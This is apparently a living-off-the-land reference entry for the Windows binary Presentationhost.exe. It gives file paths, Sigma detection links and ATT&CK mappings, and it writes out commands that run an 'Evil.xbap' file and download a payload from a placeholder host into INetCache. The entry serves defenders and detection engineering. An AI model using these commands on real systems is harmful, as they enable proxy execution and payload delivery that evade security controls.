.. /Presentationhost.exe
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Download (INetCache)

File is used for executing Browser applications

Paths:

C:\Windows\System32\Presentationhost.exe
C:\Windows\SysWOW64\Presentationhost.exe

Resources:

Acknowledgements:

Casey Smith (@subtee)
Nir Chako (Pentera) (@C_h4ck_0)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml
Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml
IOC: Execution of .xbap files may not be common on production workstations

Execute

Executes the target XAML Browser Application (XBAP) file
```
Presentationhost.exe C:\temp\Evil.xbap
```
Use case
Execute code within xbap files

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

ATT&CK® technique
T1218

Download

It will download a remote payload and place it in INetCache.
```
Presentationhost.exe https://example.com/payload
```
Use case
Downloads payload from remote server

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1105

Tags
Download: INetCache
INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"